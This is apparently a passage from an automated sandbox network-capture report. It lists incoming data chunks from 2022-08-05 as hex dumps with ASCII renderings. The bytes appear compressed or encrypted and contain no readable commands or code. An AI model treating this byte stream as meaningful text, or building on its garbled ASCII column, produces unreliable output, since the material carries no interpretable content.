2022-08-05 09:32:58 UTC	164	IN	Data Raw: f8 e2 4e dd b8 29 96 cb 6f 68 89 c2 0e 40 be 0d f7 b6 f5 8f 4d 8e e0 a9 47 00 6d 27 20 a7 43 9b f2 8b 98 e1 70 11 1d 1a 43 63 ee 75 5e ed 11 1c 32 79 17 27 d7 e0 4c 1f 88 bf 88 5f e5 84 79 7c ed 4d 97 a3 22 26 42 96 a6 fb 7c 44 7b c5 08 21 40 da 0d 95 36 e6 04 f2 8c dc 08 3a 20 3a 84 08 df da c5 7a 68 26 40 ab ea 9e 54 d2 78 0d f0 5e fc 37 e6 95 d9 d8 81 59 ad f9 01 6b 52 71 e6 f3 9c 8e c0 81 61 04 46 f2 a1 9a c8 ad 49 be 1f 29 01 03 65 ad a1 6f 0f c2 85 2a 61 07 d6 0c 36 31 b6 f1 2c bd b7 82 59 ca 13 fc cd c2 83 59 e8 96 8d 2a 26 02 66 79 99 59 ef b4 6d 49 5d 84 f9 7e 36 a0 6b b0 fd a5 b3 2b ec 67 14 a5 23 54 f8 b6 ba 01 47 4a fd 8d 93 2a 21 ac 61 ff 39 82 66 59 9c 0b ef 39 3d 29 07 e3 ef 9c b5 7d 92 63 47 b7 49 11 bd c3 3a 75 cd b8 f8 82 7b 47 e9 33 59 Data Ascii: N)oh@MGm' CpCcu^2y'L_y\|M"&B\|D{!@6: :zh&@Tx^7YkRqaFI)eoa61,YY&fyYmI]~6k+g#TGJ*!a9fY9=)}cGI:u{G3Y
2022-08-05 09:32:58 UTC	165	IN	Data Raw: d2 0e 3a c2 9c 2d 34 17 54 cb ca 5a db 4c 58 05 22 a5 cf 14 fb b4 84 43 27 aa 98 30 d6 81 fa 1b 08 3b 41 ec 34 4a ed 10 19 77 8f 6b ee 21 ea 22 14 ef de bb f5 ae 80 4d 54 df 54 67 a3 77 a1 f7 c8 e7 9f 0a 89 60 10 fc 59 e4 f8 cc 9f ea 8b da f1 d1 c2 0b 32 54 9e 03 82 91 1b dc a8 b9 a9 e1 6e 62 f5 c2 bc d7 33 e3 1d a6 c3 e8 6b 89 b6 56 05 08 d0 c8 4a 3a 47 ce f9 8c 24 00 5e 2b 48 08 0d b5 4c 91 49 94 33 4f c0 c9 5f 6f 8b 63 68 9d f6 c4 e3 97 4a 24 95 8d fb ab 3a 5b db 19 1e d6 10 f7 f7 e1 67 5c fb a4 c2 c0 a0 6b 2c 26 3b e3 16 27 eb b7 c1 06 4b 2f f0 c3 f0 7c 1d 17 0a ad 87 1d 91 6c 0a e5 4d 28 80 29 54 53 ea 58 41 1d e7 61 dc ce 93 cb 3d 3d 91 29 2b 3e ce 6b 69 22 34 05 71 ef 8a c3 07 ff 0a 44 84 94 0b 62 33 8c ee f3 0a 5a 5d 72 20 99 91 87 52 e1 ae f0 cb Data Ascii: :-4TZLX"C'0;A4Jwk!"MTTgw`Y2Tnb3kVJ:G$^+HLI3O_ochJ$:[g\k,&;'K/\|lM()TSXAa==)+>ki"4qDb3Z]r R
2022-08-05 09:32:58 UTC	167	IN	Data Raw: a9 26 85 3f d4 1a 24 a9 47 ad e6 da d1 d3 16 37 3c f1 3f c7 66 ee da 91 79 88 ce 9c 9a a6 bb 1c 9a fa a6 29 cb a9 f8 01 d1 c4 08 24 bf 9c e9 ea 48 12 52 84 34 5e 98 cf aa d1 6f bd 35 7b 1a 8e e3 c3 70 ee 38 14 52 0e 9d 3d 7a fa 83 b7 12 f5 c2 03 a3 ac ed 5e 19 a0 a1 da 58 06 b1 e5 95 c5 34 d1 41 b7 3d d1 67 19 07 2d 6f 7d e1 36 16 fa 67 ae f3 ab 9d 0b 9a 0c 89 44 63 b1 33 82 c5 0f aa 75 7f a9 30 94 81 c5 1e e8 03 ed 8e de bc 09 0a 03 6f 0d 7a 18 30 27 3f 10 27 b1 e4 f6 3b c6 68 1c 97 31 fe 77 6a c9 57 19 de 72 91 6c 88 0c c7 2d 42 60 e0 92 4f 4e b2 92 d9 9e 6e a4 fd 0f 08 95 a5 84 2b e5 8e a3 ff be 7e 45 9e 43 f9 00 59 04 f7 3f 95 a3 eb f0 21 a5 3b 68 f2 80 b7 31 1a e9 93 fb 7b 68 9f 76 31 f4 2a 87 77 52 af d2 91 2d d9 b3 03 28 54 02 cc 6b 50 5d 11 55 5f Data Ascii: &?$G7<?fy)$HR4^o5{p8R=z^X4A=g-o}6gDc3u0oz0'?';h1wjWrl-B`ONn+~ECY?!;h1{hv1*wR-(TkP]U_
2022-08-05 09:32:58 UTC	168	IN	Data Raw: 94 a9 ff d8 33 e2 50 c4 31 63 74 32 c3 cb 7f d0 bc ef 16 23 2b dc 24 f2 a5 55 e0 80 d0 81 1e e8 f8 89 13 bf ba 6f 45 e5 8d 22 ba 33 15 1f 73 d3 5c 49 85 ca d8 45 9d 37 e4 2e 50 fd 1c c6 10 44 3a 9b 04 a9 b3 d3 b3 7c 2c 1a 51 4d 2d 7c 37 81 4b 79 9b 47 71 fd a2 93 94 e0 c7 a0 58 af 98 5b 88 e2 d7 6d ec 79 64 0b 58 75 e1 ff 38 94 df 9f 47 3b 4f 39 59 78 38 6a 0c 30 53 4e 81 b5 a1 5f 10 7d 51 51 3d d1 02 f0 72 5c 8e 67 ac b7 7b c3 5d ed 28 fb d5 20 22 6d c9 02 99 42 b5 31 c0 91 d5 c1 90 d1 f8 a3 a4 80 dc 51 87 35 96 cc ee f8 77 9e 91 aa b6 27 b9 98 d7 f5 bf d1 59 79 2a 29 79 18 79 37 76 37 4f 3f fe 99 a9 11 5b 16 52 4d ec 86 d9 6b a4 53 3a de 6f 82 2a fa 4f e4 73 92 c5 2e 77 91 d1 71 d9 79 af 80 6b e7 33 9a ab 55 3a 20 40 11 42 16 a7 39 85 4e 37 dd 2e b1 18 Data Ascii: 3P1ct2#+$UoE"3s\IE7.PD:\|,QM-\|7KyGqX[mydXu8G;O9Yx8j0SN_}QQ=r\g{]( "mB1Q5w'Yy)yy7v7O?[RMkS:oOs.wqyk3U: @B9N7.
2022-08-05 09:32:58 UTC	169	IN	Data Raw: 5c 19 65 7f 2d 4d 28 3f eb cc a8 6e f4 d4 43 ef 1b 93 fd 66 7f 4c f2 79 68 a9 e3 5a cb 7b 25 53 4f 4e ff 93 3b a4 a9 df 4a ab db 11 63 b7 d7 a3 d7 1a c2 19 0b d7 e7 14 dd 1a e0 93 95 7c 57 dd 2c 51 85 42 c9 ea 06 73 45 d4 83 dc 49 ff e9 ef 08 9c 8c 8b 91 f2 ab fa aa 83 b5 a6 f9 d0 a1 3e ee 1e 56 2c a1 9f 6d fb 8e c4 5a a9 81 9d a6 2c a3 56 f0 35 bc 28 3a 58 cb e0 75 dd ba 9f 6e f9 83 cc fe 53 57 92 7a 30 34 8a d2 0c 92 71 e0 dc a4 d3 19 72 7d cc 10 55 78 be d5 fd 3a b0 6a 73 eb 08 ef 21 96 7e 83 37 a7 9f 32 a9 95 3e fe 91 04 83 60 9e 56 9f 2e e1 15 20 14 91 8e 65 43 7d bf 21 2d a2 ee 09 3d d0 80 bd 9c 33 70 a3 04 e9 ec f7 98 e6 59 fc b2 9d cf 2a 3c dc aa 10 eb c2 4d a3 3e b5 3a df 5d 5c 57 56 05 9c 26 44 50 f2 49 4a c5 92 00 12 c9 03 d4 cf 86 c0 11 d5 45 Data Ascii: \e-M(?nCfLyhZ{%SON;Jc\|W,QBsEI>V,mZ,V5(:XunSWz04qr}Ux:js!~72>`V. eC}!-=3pY*<M>:]\WV&DPIJE
2022-08-05 09:32:58 UTC	171	IN	Data Raw: 78 7c a5 50 63 fb bd ec b3 88 ab 89 61 d8 ed f9 8d 63 9b ec 3c 28 d6 75 41 4c 4b ce a3 ac 21 ed 6b 2e d1 d3 2b 27 6f 07 a7 5d 01 dc 76 67 ac 3d 71 b3 2e 47 5c 1c 2c bb 34 21 ae 4e 97 be f4 f7 a1 b1 3f 78 fc 13 f2 d9 82 16 d6 26 9b ec e1 57 01 ff 21 63 c0 d4 c2 b0 92 8b d8 e6 da 93 86 b0 07 2a 5d fb 7e d5 5d cd c6 eb 9c 9b 29 a9 42 48 f7 5f 89 e4 35 63 a3 d7 79 12 8e 4d 18 a3 59 44 88 27 61 2f 3f c4 7b af 98 54 fc 26 a9 4a cc d3 1f 5e 92 d0 37 0d ad 7d 56 09 41 45 2c 53 e7 ef 4d ac d0 07 93 3c 1d d6 15 ff f9 47 f0 2b 8d 5c 9a b8 87 b4 90 07 06 d1 bd 48 65 41 9d 09 d9 bc 37 ef 0f 1c 7f c0 47 49 cc cf 6c 57 87 5c a5 70 cc 96 f3 c0 b4 64 31 1f d8 fe af d6 4a 9f bf fc d2 53 39 df 22 73 39 25 c7 82 70 9f f1 6a 57 92 8f 44 11 d8 ab 82 bd 87 38 72 31 be 1c 3b 5d Data Ascii: x\|Pcac<(uALK!k.+'o]vg=q.G\,4!N?x&W!c*]~])BH_5cyMYD'a/?{T&J^7}VAE,SM<G+\HeA7GIlW\pd1JS9"s9%pjWD8r1;]
2022-08-05 09:32:58 UTC	172	IN	Data Raw: b5 7f 8e 1d eb 0a 07 89 55 0b ac 71 e0 c2 be d9 65 a3 6a b4 92 72 b4 ad b9 2c 30 24 37 c5 23 5e 3e 8c dd 68 d5 5a b0 b8 44 bb f9 b1 c1 a6 5e 73 fd bb ca 08 9e 6c 81 3b b9 43 42 33 70 a0 8f ed 76 2f a1 2c d9 93 12 ee 48 e8 a3 e2 c6 6e 45 25 cf e5 90 38 16 9d 73 0e 09 4d f7 a0 31 85 fc 3c e0 ff 6e fe e0 0b 19 3e 40 3c 49 81 04 4b be ca 52 2a 8b f5 c1 ac b3 67 32 fe 7f 50 68 2a 98 84 24 68 04 91 2c 82 d3 7a ce 8b c0 37 79 e3 ed 26 33 a5 e7 1e e0 a3 28 51 84 16 dc 96 b1 40 13 b5 a4 af 36 4e b4 59 55 06 d9 f1 1f 73 ce bf 2d 93 50 37 3c 18 45 75 41 e3 2e 70 38 cf eb 77 f8 fc 3b 78 cb 69 26 0d 08 d7 b1 95 e1 7e 7a a0 c1 87 25 0d c0 67 12 2d 0e 02 e2 80 3c bd c2 9f 3c 54 d1 e1 14 12 c2 b1 e2 26 5f 5d ef 4d d4 a3 4f e4 e8 79 e4 0a 78 79 e0 89 75 d6 4b 90 58 61 ac Data Ascii: Uqejr,0$7#^>hZD^sl;CB3pv/,HnE%8sM1<n>@<IKRg2Ph$h,z7y&3(Q@6NYUs-P7<EuA.p8w;xi&~z%g-<<T&_]MOyxyuKXa
2022-08-05 09:32:58 UTC	173	IN	Data Raw: 49 58 ba 2c 70 4e 71 08 f2 32 88 3f 20 0d e1 ba 85 c1 89 fd cd 84 1e 33 63 75 68 9b 15 d0 d3 24 4e f8 be a0 b7 90 fb b2 0c cc 52 a4 69 ed 9a 66 91 89 bb a7 d7 b9 49 00 f1 b3 81 d7 a6 82 8b 32 ef d8 f1 16 3f ff 53 11 77 85 8a 7c e5 d6 05 41 a2 3e e7 0e 85 62 0d d9 1d f5 42 2e a7 fe f5 66 f1 b1 50 42 b4 6f 7b 7c 2a 70 8c ce 86 4f cb 7f 7e 05 0b d4 3b f8 23 2c 97 67 df 64 17 d8 af b2 04 28 f7 a4 bf 58 23 a8 2c 85 68 ba 77 83 ef 20 82 04 49 f4 ed a7 20 70 36 f0 da 26 9e f8 19 48 26 84 e8 76 d0 7f 1e ca f1 31 d0 fa 1c 1c ba d2 1d 1e 95 03 db 67 95 1e 98 2e 63 0a f0 22 a2 d5 3a 85 b0 ee 1c b4 77 a2 36 16 4e 2f 26 0a 60 7e 9a ab 38 b3 5a 61 b7 a5 2f ab 37 d9 1a 1c 43 8f 17 aa 7d 37 6b 6b 1b 48 91 fb c7 03 ac 29 9c 36 c6 19 83 01 60 e5 50 c8 81 1d ed ab 9f 0e 99 Data Ascii: IX,pNq2? 3cuh$NRifI2?Sw\|A>bB.fPBo{\|*pO~;#,gd(X#,hw I p6&H&v1g.c":w6N/&`~8Za/7C}7kkH)6`P
2022-08-05 09:32:58 UTC	174	IN	Data Raw: e7 35 e6 eb b7 48 9a 9a 1e ad 2c 7a 6e e1 de 06 0a b7 71 98 76 eb cc 2e 9f 46 92 f1 0b 90 36 ab 10 c3 d0 6a a0 a3 ac 05 a2 3b 2c de 83 56 db 0b 58 f5 0d 42 ab ad c6 4c ca 18 bf 80 f0 e4 eb 3c 3b 26 ff 65 4b 66 2b a8 fa 6e 6c 77 d7 e3 16 34 b0 c5 d4 43 94 84 61 e4 64 5f d6 09 5e b9 41 e8 d1 e6 4b c2 8c aa d6 8b 54 95 b5 c8 12 95 18 63 a7 fe ce 4f cd 98 d6 e2 73 07 f7 e2 9e a9 90 24 71 2b 21 c9 cd 83 f6 d9 82 e9 49 59 dd 00 33 ee fb 51 3c ff 5c 21 d0 c3 31 e3 ae e8 4c e3 1d f6 d6 bd 4f e1 f1 fb 88 b7 6d df 76 c2 25 df bd 4b c2 e4 e3 fc 67 57 a5 53 f9 14 8a 85 c7 f6 75 c7 d6 1f 84 ff 06 e7 25 67 01 9b 62 f0 4f fc 97 95 95 0a 87 e8 00 9d 34 c7 29 09 84 bc 6a b6 a6 66 90 c7 64 c3 cf 59 0f 3d 5c 6e ee af f7 cd 0a fd 28 97 2e 41 f9 3c e5 f6 7b ea af b7 b9 7f e5 Data Ascii: 5H,znqv.F6j;,VXBL<;&eKf+nlw4Cad_^AKTcOs$q+!IY3Q<\!1LOmv%KgWSu%gbO4)jfdY=\n(.A<{
2022-08-05 09:32:58 UTC	176	IN	Data Raw: e4 4a 78 c9 5d 65 4b ba 61 4e 59 a1 37 78 ee bc 6b 2e ca 47 0f db 70 83 cf 20 6c 29 7e 3c 3f dc ce 71 5a d7 ff 4b 55 3b 03 35 05 be 95 64 ef 35 6a f4 79 61 6d cd cb 7d 29 f2 66 39 33 cf b1 01 51 b3 18 66 4a 58 c3 1d 87 aa b9 6b 74 cf e9 0f 82 d6 c4 96 7f 98 76 66 fd be 62 f4 17 cf 29 70 d2 16 b3 d4 4e 7e c1 b1 1f c2 bb 73 c9 32 8a 8a ee d2 7d 5f 70 6e 3a 48 ea 1e 2f 96 a6 94 8c f0 97 df cb 7c 90 96 a4 22 d8 d4 de d7 74 4e f2 56 f0 3e e4 9c ff 23 4e b1 df c3 fb b1 1a 29 bf 3b dc 39 06 b1 fd 45 98 f2 70 7a 06 d9 b2 2a ca fa 60 d4 cc 38 cc cf 3a db 32 75 f9 64 d6 26 9f 4b 61 98 11 57 9b 05 ec c6 d2 56 64 44 3e 2d b3 50 a9 6c 22 24 e8 e3 8d 39 bb 18 92 ba a5 72 39 ee ac f3 ca d1 97 46 5e 1d 04 40 a6 c2 be fb 3e 4a 2e 86 13 55 a8 e8 56 51 00 25 61 19 79 88 bb Data Ascii: Jx]eKaNY7xk.Gp l)~<?qZKU;5d5jyam})f93QfJXktvfb)pN~s2}_pn:H/\|"tNV>#N);9Epz*`8:2ud&KaWVdD>-Pl"$9r9F^@>J.UVQ%ay
2022-08-05 09:32:58 UTC	177	IN	Data Raw: 21 41 14 f8 4f e2 5e fb aa e3 af f3 b7 56 3f 6f 01 13 1d dd 0c f8 86 da e7 a3 6a eb 61 9b 1d c6 24 2c e4 6e a1 18 dc 26 50 64 5c 9b 02 c9 85 7a 37 c1 3b 6c 93 dd a9 a5 57 28 5f 9b a0 1d c4 c8 d5 c1 fd b2 2a b7 77 07 07 46 8c 0f 01 ef 68 2c b6 91 a0 f1 1b 49 f7 6f 7c 77 b3 fc c7 da 75 33 77 0d 2d ff e1 0f 56 fe 4f 41 8f aa f9 c0 11 a7 81 03 0d b3 9d 7e 73 77 95 fb 03 54 29 a9 19 9b 19 16 2b 8c 26 a0 ec 00 b0 67 e8 67 55 53 c7 2f e0 a3 86 44 66 b6 22 a1 f6 97 d2 f9 26 2b e6 e0 7f ef f8 89 1d 2b 0d eb f4 f5 d7 c9 db c6 30 fd d8 82 85 f1 61 1d 50 00 59 d7 a7 7c c1 cb fa 6e 50 b9 5d 04 79 b0 b3 1d a5 f7 d2 1a 66 46 5b bc d3 22 15 fe ef 8c 92 27 2c dd b4 80 8c 0b e3 eb 6f 84 58 cf 47 25 d1 e6 78 9e cc 72 93 d9 bb 0b 62 de 8a 02 e5 bc 3b bd 79 52 62 26 d6 47 1d Data Ascii: !AO^V?oja$,n&Pd\z7;lW(_*wFh,Io\|wu3w-VOA~swT)+&ggUS/Df"&++0aPY\|nP]yfF["',oXG%xrb;yRb&G
2022-08-05 09:32:58 UTC	178	IN	Data Raw: b6 5b 37 05 e7 b0 a7 4c 35 d3 b4 af 67 15 67 4c c2 e0 18 98 a3 c3 b3 e6 18 52 a7 8d 98 85 78 56 99 90 d9 e9 e6 a8 da cb c7 f2 c6 d3 71 92 da ea a8 0b 4c ea a0 ce e0 07 b5 fd c6 c8 8d 87 aa e2 a6 99 76 61 a2 74 6a da fa 73 06 71 b4 d3 e4 6d 15 5c f6 0f aa 19 1f e8 6a 0d 39 49 9a 12 37 a6 28 1f cb e0 7b 52 e5 7f 5f 1d 36 b3 5d c9 8d c2 d5 b6 49 23 7a 92 2c 21 c9 e5 84 f2 a6 bd 22 04 e3 45 de 68 d7 99 50 8b 80 cf f9 68 e7 7c 7b 29 b7 8c db 7a f9 37 63 dd 44 86 ea 31 1c a4 37 2c 0a 24 90 f9 18 0a 38 66 56 b5 87 26 84 33 56 3a c1 92 19 48 85 d1 83 39 49 ef 0e 44 4c 95 4d 99 f3 93 88 8e a8 3d 9b 47 57 70 a1 8f e9 30 40 06 c5 45 72 56 6e ec e2 a7 f0 40 10 68 60 07 8a b3 a7 07 59 3f b5 b6 11 44 96 03 27 cb ad a6 b1 6f 99 4a 0a 03 49 f4 48 7d a3 76 ac b0 53 1e 65 Data Ascii: [7L5ggLRxVqLvatjsqm\j9I7({R_6]I#z,!"EhPh\|{)z7cD17,$8fV&3V:H9IDLM=GWp0@ErVn@h`Y?D'oJIH}vSe
2022-08-05 09:32:58 UTC	179	IN	Data Raw: 50 86 80 89 c1 f0 f2 3f 47 55 c6 de 7c 65 bf bd c0 96 e8 0c e7 ad 95 01 1f cf 86 6e 40 ca 48 6f 07 30 1a b5 40 f1 74 cf 19 e4 31 b5 4c 46 9e e9 c2 4c b5 89 e1 df 12 33 40 96 16 ba 98 34 46 88 14 b4 30 d8 a4 c4 40 4f 8e e2 1f ee 68 d2 be cf 9d 19 ce 7f 2f f0 b4 e4 cd 4c b3 b2 df 17 62 70 d8 26 43 e1 ef 2f c4 e1 97 63 c6 9e 87 0d f4 ae 3f 88 64 91 56 54 16 9c 50 bf f1 ec a8 af ff 46 ba f5 c5 2c a6 71 09 90 75 a8 00 c3 9f 41 98 d5 e0 11 03 3d 52 c7 b1 e0 92 da d5 5f 47 77 dc da 8c a2 89 d3 34 08 e4 b1 5f 6f 4a 83 ec f3 32 2f 96 25 bf 79 eb 79 64 44 85 bc 62 91 30 78 57 cd a7 30 1c 64 d5 f1 f0 a1 c3 81 86 60 06 3f 40 ab 64 bc 35 ae a7 71 6b 1e de 00 51 98 8f d6 e5 c8 0c 01 59 d9 4e 37 35 e2 7f 8c f7 6f df 29 c9 cc 65 5d 2e f2 8b a3 4a b5 69 fa dc ba fe 8d 2e Data Ascii: P?GU\|en@Ho0@t1LFL3@4F0@Oh/Lbp&C/c?dVTPF,quA=R_Gw4_oJ2/%yydDb0xW0d`?@d5qkQYN75o)e].Ji.
2022-08-05 09:32:58 UTC	180	IN	Data Raw: e1 8c ee 64 d8 f4 c6 4d e9 e0 80 94 9c ba 56 88 8b 31 e1 0f c8 99 a3 e1 39 a1 a0 bf c5 0a bc 4a cb 26 67 ab 84 7e 34 22 38 e6 c3 c3 cd 01 fd 8f e6 06 0a 63 3d 89 ed 2d 7f 66 dd 12 7e a7 74 eb 43 35 94 60 c5 b1 8d 84 f2 8b d2 0f 57 7f d6 d1 8a 03 2a 1d 1c e4 73 0c 5c 0d 7a 99 59 aa f5 fd 1c cd 1f b1 3d c4 0f 40 35 7d 79 d0 0f 17 86 95 53 f0 2d 34 e8 a6 01 1a 19 6f 63 0e 08 2a cc 29 2a 1a 56 11 f7 10 f1 5b fd ff dd 4e bf a2 ce 31 a3 01 f0 06 0e c5 bd 16 25 69 f1 33 1c 33 ef fb 72 44 ec 3f d3 3c ca 23 44 22 cc 69 38 9e fa 3c 2f 15 be 2d f3 dd 8c 01 34 b1 8f 1c aa 24 30 12 87 54 67 e1 c0 09 c5 fd 7a 6c 06 0f d8 29 88 b9 52 52 74 fc ed a1 8b 4f 48 f8 cf 7d 27 6e f9 fd ed 51 bf 11 29 64 87 3d 0c a8 9d f5 39 52 73 51 8c 05 bd 83 79 b7 36 e1 2e 8c e6 cb f3 ec 1a Data Ascii: dMV19J&g~4"8c=-f~tC5`Ws\zY=@5}yS-4oc)*V[N1%i33rD?<#D"i8</-4$0Tgzl)RRtOH}'nQ)d=9RsQy6.
2022-08-05 09:32:58 UTC	181	IN	Data Raw: ec d3 6f 84 80 ff fc 6a 43 74 ef 6c 75 6b d5 34 3e 36 1c cc 68 fa 55 72 b0 f9 8d 23 be 1d 42 12 fc 83 df 59 6d e1 bf a3 32 5b 1d 3f a4 15 09 9a e6 f6 4e 25 12 b8 d3 af 49 45 8b 40 89 61 50 e4 f2 9a b6 05 fd 83 fb 4a 5a e8 12 e1 30 11 ec 10 a5 f9 3b 87 91 a0 d6 15 36 41 47 92 c9 6a 73 8e bd b9 e9 77 3a 60 88 cb 52 1d 30 40 40 e7 cb bf 62 37 20 65 55 02 72 4e 78 10 3f 9a 12 20 b5 05 c3 5e 60 09 08 3c fd 85 08 f6 02 2f 4f ed 12 94 5f 31 87 45 83 9a a0 a7 76 e2 fe af cb 2e bc 41 89 b8 ed f9 ef 36 fb 5f 79 58 b9 25 b4 9a 1e 6b ec dc 72 41 b8 ac 98 8d ac 6d f3 36 02 e0 d4 43 2d ac 8c 46 c4 dc 34 4e b5 9a 4d 85 72 a2 b3 19 d7 9e 48 04 08 0e 3a 81 c3 2e a2 0f 63 da 04 98 de b9 b7 3e 7d 06 61 f5 67 0a d0 2d 53 c7 69 7d 69 4a 47 f0 f7 50 93 5e 00 e8 6c 91 16 57 af Data Ascii: ojCtluk4>6hUr#BYm2[?N%IE@aPJZ0;6AGjsw:`R0@@b7 eUrNx? ^`</O_1Ev.A6_yX%krAm6C-F4NMrH:.c>}ag-Si}iJGP^lW
2022-08-05 09:32:58 UTC	183	IN	Data Raw: 27 79 84 af ab fc 2c 92 79 ef d5 49 25 03 bb 15 9b 50 27 56 f0 ad d7 59 71 ba 05 01 f2 be 4e 44 f8 45 af e9 51 e7 e6 64 51 96 95 f7 cd 99 a3 0f e8 5d 29 c3 fd c7 56 89 1e 70 6f df 70 a3 69 15 dd 38 18 9c 4e 2a f3 7f a0 4a 60 5c 20 2d fa 86 27 3e 61 ce ee 00 f0 6d 7f b5 8f 08 10 54 55 3e 0a 91 aa e0 93 d3 c4 4e 57 dd e4 1d cc 1b 85 e1 f4 30 ba e3 0f cf 04 eb 3a 7a 65 78 d0 aa 18 76 ef 1e ab a3 38 d5 8c d4 06 fc 07 a1 c5 dc 85 c9 59 ba ea 0e 10 57 58 5e ce 94 ab 4d 63 f8 4f d5 73 3a 2e b8 01 ee 13 87 b4 f4 b6 a1 15 65 da e6 c4 b1 e7 69 16 43 a7 f5 4c 5e 02 fa 3b d6 23 84 42 53 b9 bc 76 fe 00 bd f3 86 89 32 cf 59 7a bc 32 a1 65 cf 92 3e ac 92 40 73 94 95 fb 95 0f 30 78 de a6 96 a4 80 2e 33 c5 bf d1 6d c7 a4 b9 a8 8d ac 0a 69 d9 2b bc 81 f2 34 e6 ba 92 13 38 Data Ascii: 'y,yI%P'VYqNDEQdQ])Vpopi8N*J`\ -'>amTU>NW0:zexv8YWX^McOs:.eiCL^;#BSv2Yz2e>@s0x.3mi+48
2022-08-05 09:32:58 UTC	184	IN	Data Raw: 74 b8 87 36 e4 d7 eb 6e 09 a0 13 b9 23 d4 18 56 8a 13 8d b1 e1 20 68 ca 11 cc eb 30 4b da 27 19 6f 18 8e 1a 58 aa af 9d 52 ab 44 9f d6 de 7c f0 c8 4a 51 9c 8f 04 c0 ac a1 6f ef 5b c1 c5 42 d9 25 cd 5d 76 28 0a 3f 2c d6 3b f3 c4 14 ea 55 a8 2b 81 c3 ef f1 63 93 4f a1 62 6b 1d 3c 59 e8 cf 87 69 39 70 5f 9f 3e 5a 15 9e ea 49 20 21 c1 db 8d 21 42 e8 40 21 ca ac cc a4 1f 9b fc 9b 8c ae f6 55 73 b7 dd 06 87 0f 50 87 c5 a8 51 32 c7 bc fb b5 23 95 ef a3 40 30 c9 3a f6 44 d0 33 a1 8c 5b 82 d0 e1 16 55 8d ff 1e ae 9a aa 44 1b b0 86 bb f3 1d c7 32 bc 77 4a cd 75 b9 3a 33 2e 21 a3 33 ca 88 05 58 1e 26 0f 92 aa 39 17 bc e8 4e 90 66 eb ac 7e 80 e3 2a 20 a6 51 4a f5 27 4d 08 fa 3e 9d 35 c0 ad 65 a7 25 97 26 6b 2f 38 62 b7 39 b2 9b 60 00 e7 43 0b 28 76 4c 10 32 e8 25 d8 Data Ascii: t6n#V h0K'oXRD\|JQo[B%]v(?,;U+cObk<Yi9p_>ZI !!B@!UsPQ2#@0:D3[UD2wJu:3.!3X&9Nf~* QJ'M>5e%&k/8b9`C(vL2%
2022-08-05 09:32:58 UTC	185	IN	Data Raw: 20 70 24 37 3d 43 e3 6f 70 4c ac 23 22 eb fa cc 7a 5f bb d8 5e d5 4d 7a 5b e4 e3 d4 45 33 fb 85 2d f5 b3 70 56 7e b3 f4 6f 0d f0 8c 2d 5f cf 40 42 ea c5 07 65 fa 23 0f 8b c2 de 5b 0b ee d6 96 3e 6c 76 40 b0 78 e6 7e 5b 7d 0f 23 16 2b 39 bb e0 70 48 83 07 29 72 e9 f1 fb af aa f7 84 01 75 e5 e8 0a ac a1 58 84 5c f5 ac 63 33 20 9a 78 78 14 2f d9 52 fa 13 c9 3e 1c 7d 5b 9d 86 b3 a4 c0 cc 9e 92 63 45 73 4b 50 a0 43 27 a7 e1 89 2d 78 b3 15 3b 25 88 a9 b0 d0 88 ec 39 00 74 0c 2f 6b 45 f1 4c 2e 3a fd c2 50 f9 0e 79 0a 62 e7 a5 61 1c c6 8c 20 77 2a aa 11 f2 6b bd ea 08 41 4d d3 38 d9 85 cb 70 0e 62 97 97 fe 42 38 43 42 83 7a eb 7c 31 f9 08 b6 4f 45 ed 5b b8 51 d9 e4 9f a8 2a 74 7f 9d 6b 32 91 36 dd 20 d6 a3 39 f0 c2 6c 93 74 e2 01 0a fc 99 d2 5d 7c d5 1e b9 35 f9 Data Ascii: p$7=CopL#"z_^Mz[E3-pV~o-_@Be#[>lv@x~[}#+9pH)ruX\c3 xx/R>}[cEsKPC'-x;%9t/kEL.:Pyba wkAM8pbB8CBz\|1OE[Qtk26 9lt]\|5
2022-08-05 09:32:58 UTC	187	IN	Data Raw: 97 90 6f db a1 07 ca c9 d3 b2 51 8d 80 9c eb b5 2a 25 d9 33 f9 5d 19 c5 ff ae 4e e3 7b d4 5f 39 5a 27 02 8d 4f 5f df 85 4f 79 6f 5e d1 f2 25 4c ee ee 1e 40 5e 30 69 e9 53 55 47 0e 1b 8c be 52 29 a6 4f 8d d0 ee c5 a3 e3 9a dd 3a 9c 44 69 a6 53 9b 73 eb 9e 07 42 ac ec 25 02 91 eb a7 2f be 8a 65 ae f0 69 d5 1b 73 73 a3 73 2e 27 5d 8d df 6d ce 3a 8a 51 72 b7 a8 5d ba 53 f7 82 fe ec 69 fb e3 d6 b6 11 25 1a 7c 31 e0 03 28 1f 47 13 b8 b6 53 85 8c 76 72 fa 40 17 57 72 b8 c9 92 ab c3 4b 65 91 fb 79 63 e0 47 af b4 65 a9 cc bd 94 78 d3 bc a6 29 c1 3e 20 9e ea a5 67 3e 85 0a 2f 83 d5 b3 ad 64 16 3e 1a fb 6c da 3e 54 4f 0b 30 1c 66 31 ff 50 fc c5 db 39 fb 1d 5f ce c7 75 20 45 cf df 11 c0 09 b4 02 eb b6 ee e2 b6 dc 4f e2 3b ef 78 0c 23 84 6a 1d fd e7 45 8a 73 ad c2 ce Data Ascii: oQ*%3]N{_9Z'O_Oyo^%L@^0iSUGR)O:DiSsB%/eisss.']m:Qr]Si%\|1(GSvr@WrKeycGex)> g>/d>l>TO0f1P9_u EO;x#jEs
2022-08-05 09:32:58 UTC	188	IN	Data Raw: 71 ad cf eb 95 ac f9 d1 38 cc c8 51 2c 18 18 b5 15 76 60 fa 42 1a 76 c4 84 dc 65 40 ae 5a ff b5 ba 73 81 cf 75 1b e2 69 cd 86 83 5c c2 b6 6c 7d 1b 49 e2 54 cf 5a c0 f1 ee 5a bd 67 f5 dd 44 19 23 9f d6 3a ed b2 3d 61 63 29 2a 20 33 b4 30 5e bf 0b dd 77 5b bc 2d d1 3a 1f 22 4e 27 e2 f4 6f c6 c6 74 69 de 59 00 c2 65 6b d4 80 c7 65 16 ca 98 f4 f9 55 d0 a6 5b 43 70 78 71 38 23 45 7d 75 ee f1 eb b5 69 ee a1 ca 2a a9 88 2f 64 2f 24 f9 f0 5d 82 16 b3 f0 72 bc d4 e6 08 24 51 3a e3 b8 90 aa 6c a0 33 41 d0 50 2e cc a9 8a f3 cb 3b 91 a8 9a 60 01 b1 e2 2b 25 8c 67 6f 77 c7 88 79 b4 f7 1b 73 2e 76 c4 e3 27 46 01 07 4c 00 ac 3a 83 f9 32 25 b2 63 e2 66 66 47 2e e4 63 4e f9 de 39 ea eb 9b 1a f0 84 be 31 28 0d d7 ce 1b 97 40 a8 68 f6 c8 d6 4e 1e 14 42 73 65 10 b6 e1 1f 76 Data Ascii: 